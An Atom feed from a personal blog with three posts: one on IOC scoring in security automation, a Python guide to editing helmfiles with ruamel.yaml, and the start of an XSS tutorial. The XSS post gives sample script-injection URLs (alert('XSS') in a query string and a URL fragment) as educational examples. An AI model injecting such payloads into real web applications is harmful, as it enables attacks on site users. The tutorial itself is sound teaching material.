<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://ant6581.gitlab.io/blog/</id>
    <title>Ilias Antoniadis Blog</title>
    <updated>2026-08-23T00:00:00.000Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <link rel="alternate" href="https://ant6581.gitlab.io/blog/"/>
    <subtitle>Ilias Antoniadis Blog</subtitle>
    <icon>https://ant6581.gitlab.io/img/favicon.ico</icon>
    <entry>
        <title type="html"><![CDATA[Security Automation Is More Than Saving Clicks]]></title>
        <id>https://ant6581.gitlab.io/blog/security-automation-is-more-than-saving-clicks/</id>
        <link href="https://ant6581.gitlab.io/blog/security-automation-is-more-than-saving-clicks/"/>
        <updated>2026-08-23T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Why effective security automation should eliminate decisions, not just repetitive manual actions.]]></summary>
        <content type="html"><![CDATA[<p>When a security analyst investigates an unknown IP address or domain, one of the first steps is usually to check it against a threat intelligence provider.
You can automate that lookup with a button.
The analyst clicks it, the IOC is sent to the provider, and the result appears in the interface.</p>
<p>That's useful.</p>
<p>But is it automation?</p>
<p>Not really.</p>
<p>You saved a few clicks and probably a few seconds. That's useful, but I think good security automation should go one step further: <strong>it should remove a decision, not just a manual action.</strong></p>
<p>Let's look at what the analyst actually does.</p>
<p>A TI provider will usually return information about the IOC such as:</p>
<ul>
<li class="">Confidence in the underlying source</li>
<li class="">Context about the IOC and its activity</li>
<li class="">How recent that activity is</li>
</ul>
<p>The analyst uses these signals to answer one question:</p>
<p><strong>"Is this IOC worth investigating?"</strong></p>
<p>So instead of just automating the lookup, we can model that decision with a scoring logic.</p>
<p>A scoring model can combine source confidence, context, and recency into a single score. A threshold then determines whether the IOC needs attention.</p>
<p>The analyst no longer needs to perform the same triage for every IOC.</p>
<p>We've removed the decision from the workflow.</p>
<p>But how can you trust your CTI provider that much? You don't have to. Use multiple sources, including open-source and score the yourself too.</p>
<p>And if you want to do it in scale I invite you to read this article
<a href="https://medium.com/exness-blog/building-a-custom-etl-pipeline-for-security-data-abadd57fdd01" target="_blank" rel="noopener noreferrer" class="">Building a custom ETL pipeline for security data</a> by Alexander Bolshakov.</p>
<p>This is where security and data engineering can work together to build something truly powerful.</p>
<p>I'm not saying that simple button automation isn't useful. It's just not the best we can do.</p>
<p>The best automations aren't necessarily the ones that save the most clicks.</p>
<p>They're the ones that make the analyst's decision unnecessary.</p>]]></content>
        <category label="security" term="security"/>
        <category label="automation" term="automation"/>
        <category label="data-engineering" term="data-engineering"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Edit Helmfiles with Python]]></title>
        <id>https://ant6581.gitlab.io/blog/helmfile-yaml/</id>
        <link href="https://ant6581.gitlab.io/blog/helmfile-yaml/"/>
        <updated>2023-12-15T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[How to edit helmfile with Python]]></summary>
        <content type="html"><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="editing-helmfiles-with-ruamelyaml-in-python">Editing helmfiles with ruamel.yaml in Python<a href="https://ant6581.gitlab.io/blog/helmfile-yaml/#editing-helmfiles-with-ruamelyaml-in-python" class="hash-link" aria-label="Direct link to Editing helmfiles with ruamel.yaml in Python" title="Direct link to Editing helmfiles with ruamel.yaml in Python" translate="no">​</a></h2>
<p>Managing helmfiles in python can be tricky due to the presence of Go templates in them, which are not compatible with the standard YAML parsers. This guide demonstrates how to ignore the curly braces in helmfiles and edit them using the <code>ruamel.yaml</code> python library.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-issue">The issue<a href="https://ant6581.gitlab.io/blog/helmfile-yaml/#the-issue" class="hash-link" aria-label="Direct link to The issue" title="Direct link to The issue" translate="no">​</a></h3>
<p>Helmfiles contain Go template syntax like <code>{{ .Value.example }}</code>. And the existing yaml parser cannot correctly interpret this syntax is it is not a YAML syntax.</p>
<p>Let's try dumping this line using the <code>ruamel.yaml</code> library:</p>
<div class="language-yaml codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-yaml codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">host</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> .Values.domain </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>This syntax is being interpreted it as a <code>key</code> with a null <code>value</code>, resulting in:</p>
<div class="language-yaml codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-yaml codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">-</span><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">host</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"> </span><span class="token key atrule" style="color:#00a4db">.Values.domain</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token null important">null</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token null important">null</span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>This makes the task of automating the construction of helmfiles difficult.
I have chosen 3 approaches for dealing with this issue.</p>
<ol>
<li class="">
<p>The most easy way is to prerender the helmfile using <code>helm</code> before the processing.</p>
</li>
<li class="">
<p>Introduce placeholders in order to keep the YAML syntax valid.</p>
</li>
<li class="">
<p>Use <code>ruamel.yaml</code> library's support of <code>jinja2</code> templates.</p>
</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="strategy-1-pre-rendering-the-helmfile">Strategy 1: Pre-Rendering the helmfile<a href="https://ant6581.gitlab.io/blog/helmfile-yaml/#strategy-1-pre-rendering-the-helmfile" class="hash-link" aria-label="Direct link to Strategy 1: Pre-Rendering the helmfile" title="Direct link to Strategy 1: Pre-Rendering the helmfile" translate="no">​</a></h3>
<p>The simplest solution is to pre-render the helmfile before processing. This will replace the Go templates with actual values and make the YAML file valid for the parsers.</p>
<p>If prerendeing is not a solution for you then follow the next strategy.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="strategy-2-use-placeholders">Strategy 2: Use placeholders<a href="https://ant6581.gitlab.io/blog/helmfile-yaml/#strategy-2-use-placeholders" class="hash-link" aria-label="Direct link to Strategy 2: Use placeholders" title="Direct link to Strategy 2: Use placeholders" translate="no">​</a></h3>
<p>Temporarily replace the <code>{{. Go.templates }}</code> to make all the editing you need and then bring them back.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-1-write-functions-to-unescape-the-go-syntax">Step 1: Write functions to (un)escape the Go syntax<a href="https://ant6581.gitlab.io/blog/helmfile-yaml/#step-1-write-functions-to-unescape-the-go-syntax" class="hash-link" aria-label="Direct link to Step 1: Write functions to (un)escape the Go syntax" title="Direct link to Step 1: Write functions to (un)escape the Go syntax" translate="no">​</a></h4>
<p>Here are the methods for the respective replacings:</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">def</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">escape_go_templates</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">content</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token builtin">str</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">-</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token builtin">str</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> re</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sub</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">r"\s{{(.*?)}}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">r" __GO_TEMPLATE__\1__GO_TEMPLATE__"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> content</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">def</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">unescape_go_templates</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">content</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token builtin">str</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">-</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token builtin">str</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> re</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sub</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">r"__GO_TEMPLATE__(.+?)__GO_TEMPLATE__"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">r"{{\1}}"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> content</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<p>Once you have a valid <code>YAML</code> document, make the changes you want then revert the Go templates using the unescape_go_templates function.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-2-process-the-document">Step 2: Process the document<a href="https://ant6581.gitlab.io/blog/helmfile-yaml/#step-2-process-the-document" class="hash-link" aria-label="Direct link to Step 2: Process the document" title="Direct link to Step 2: Process the document" translate="no">​</a></h4>
<p>This is an example of helmfile editing following this approach.</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">def</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">process_helmfile</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">helmfile_path</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token builtin">str</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">-</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">None</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">with</span><span class="token plain"> </span><span class="token builtin">open</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">helmfile_path</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"r"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> helm_file</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        helm_content </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> helm_file</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">read</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        helmfile_escaped </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> escape_go_templates</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">helm_content</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    yaml_documents </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> yaml</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">load</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">helmfile_escaped</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> doc </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> yaml_documents</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token comment" style="color:#999988;font-style:italic"># Example modification:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"releases"</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> doc</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            doc</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"releases"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">"name"</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"my-service"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">with</span><span class="token plain"> </span><span class="token builtin">open</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">helmfile_path</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"w"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">as</span><span class="token plain"> updated_helmfile</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        updated_content </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> yaml</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">dump</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">yaml_documents</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        final_content </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> unescape_go_templates</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">updated_content</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        updated_helmfile</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">write</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">final_content</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">  </span><br></div></code></pre></div></div>
<p>The last way of editing helmfiles and the one that I prefer is to use <code>ruamel.yaml</code> and it's support of <code>jinja2</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="strategy-3-utilize-ruamelyaml-and-jinja2-templates">Strategy 3: Utilize ruamel.yaml and jinja2 templates<a href="https://ant6581.gitlab.io/blog/helmfile-yaml/#strategy-3-utilize-ruamelyaml-and-jinja2-templates" class="hash-link" aria-label="Direct link to Strategy 3: Utilize ruamel.yaml and jinja2 templates" title="Direct link to Strategy 3: Utilize ruamel.yaml and jinja2 templates" translate="no">​</a></h3>
<p>The <code>{{. Go.templates }}</code> used in helmfiles have a similar purpose and syntax with <code>jinja2</code>, which is a templating engine for Python. Both use the concept of placeholders <code>{{ }}</code>.</p>
<p>Install the ruamel.yaml['jinja2] library.
Configure ruamel.yaml instance so it ignores the <code>jinja2</code>.
Change the default value of width parameter.</p>
<div class="language-py codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-py codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">yaml </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> YAML</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">typ</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"jinja2"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">yaml</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">width </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">4096</span><br></div></code></pre></div></div>
<p>In case you want to prevent <code>ruamel.yaml</code> of adding single quotes to the Go placeholders <code>'{{ }}'</code> you can write a custom representer function for that.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>tip</div><div class="admonitionContent_BuS1"><p>Everything is an object in Python! So aren't functions as well? You can create a function and pass it as an argument to another function. An example of this is shown below. <a href="https://dev.to/mahmoudessam/python-tricks-part-1-5ci3" target="_blank" rel="noopener noreferrer" class="">Read more</a>.</p></div></div>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">def</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">_represent_str</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">representer</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> SafeRepresenter</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> data</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"> </span><span class="token builtin">str</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">None</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">-</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> ScalarNode</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> data </span><span class="token keyword" style="color:#00009f">and</span><span class="token plain"> data</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">startswith</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"{{"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> representer</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">represent_scalar</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"tag:yaml.org,2002:str"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> data</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> style</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">"-"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> representer</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">represent_str</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">data</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<p>This function,<code>_represent_str</code>, customizes how strings are represented in your YAML instance. It specifically addresses how to handle strings that start with <code>{{</code>.</p>
<p>When encountering such strings, the function employs a special YAML tag, <code>tag:yaml.org,2002:str</code>, to ensure these strings are output without additional quotation marks.</p>
<p>Add this function as an argument to your yaml representer and the default behavor of putting quotes to <code>{{. Go.templates }}</code> will be modified.</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">yaml</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">representer</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">add_representer</span><span class="token punctuation" style="color:#393A34">(</span><span class="token builtin">str</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> _represent_str</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<p>Now you can edit your helmfile as a normal YAML document.
Happy automation!</p>]]></content>
        <category label="yaml" term="yaml"/>
        <category label="helm" term="helm"/>
        <category label="python" term="python"/>
        <category label="automation" term="automation"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[XSS Attacks: Hands-On]]></title>
        <id>https://ant6581.gitlab.io/blog/xss-explained/</id>
        <link href="https://ant6581.gitlab.io/blog/xss-explained/"/>
        <updated>2023-11-25T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[What is an XSS Attack and how does it work? Practice.]]></summary>
        <content type="html"><![CDATA[<p>Cross-Site Scripting (XSS) is one of the most prevalent web application vulnerabilities, affecting millions of websites worldwide. It allows attackers to inject malicious scripts into web pages, potentially compromising user data, stealing sensitive information, or redirecting users to phishing websites.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="understanding-cross-site-scripting-xss">Understanding Cross-Site Scripting (XSS)<a href="https://ant6581.gitlab.io/blog/xss-explained/#understanding-cross-site-scripting-xss" class="hash-link" aria-label="Direct link to Understanding Cross-Site Scripting (XSS)" title="Direct link to Understanding Cross-Site Scripting (XSS)" translate="no">​</a></h2>
<p>In simple terms, XSS attacks occur when a web application allows scripts to be embedded within the application's code by a malicious actor. These scripts can then be executed when users visit the affected web page, leading to harmful consequences.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="types-of-xss-attacks">Types of XSS Attacks<a href="https://ant6581.gitlab.io/blog/xss-explained/#types-of-xss-attacks" class="hash-link" aria-label="Direct link to Types of XSS Attacks" title="Direct link to Types of XSS Attacks" translate="no">​</a></h3>
<ol>
<li class=""><strong>Reflected XSS</strong>: This is the most common type of XSS attack, where the malicious script is injected into a web page as part of a request, such as a URL parameter or a form submission. The script is then executed when the web server reflects the request back to the user's browser.</li>
</ol>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>Example</div><div class="admonitionContent_BuS1"><p>An attacker sends a victim a link like <code>http://example.com/search?q=&lt;script&gt;alert('XSS')&lt;/script&gt;</code>. When the victim clicks the link, the server reflects the input, and the script executes in the victim's browser, displaying an alert or stealing sensitive data.</p></div></div>
<ol start="2">
<li class=""><strong>Stored XSS</strong>: In stored XSS attacks, the malicious script is permanently stored on the target server, such as in a database, message forum, or comment section. When a user visits the affected page, the script is retrieved and executed within the user's browser.</li>
</ol>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>Example</div><div class="admonitionContent_BuS1"><p>An attacker posts a malicious script in a comment on a blog. When other users view the comment, the script executes, potentially stealing cookies or redirecting users to a malicious site.</p></div></div>
<ol start="3">
<li class=""><strong>DOM-based XSS</strong>: This type of XSS attack exploits vulnerabilities in the client-side code, such as JavaScript, to manipulate the Document Object Model (DOM) without directly injecting malicious code into the web page.</li>
</ol>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>Example</div><div class="admonitionContent_BuS1"><p>An attacker manipulates the URL to include a script, like <code>http://example.com/page#&lt;script&gt;alert('XSS')&lt;/script&gt;</code>. The client-side JavaScript reads the URL fragment and injects it into the page, causing the script to execute in the victim's browser.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="interactive-xss-demonstration">Interactive XSS Demonstration<a href="https://ant6581.gitlab.io/blog/xss-explained/#interactive-xss-demonstration" class="hash-link" aria-label="Direct link to Interactive XSS Demonstration" title="Direct link to Interactive XSS Demonstration" translate="no">​</a></h2>
<p>Let's see how a simple XSS attack can be executed. We will use a benign script for demonstration purposes.</p>
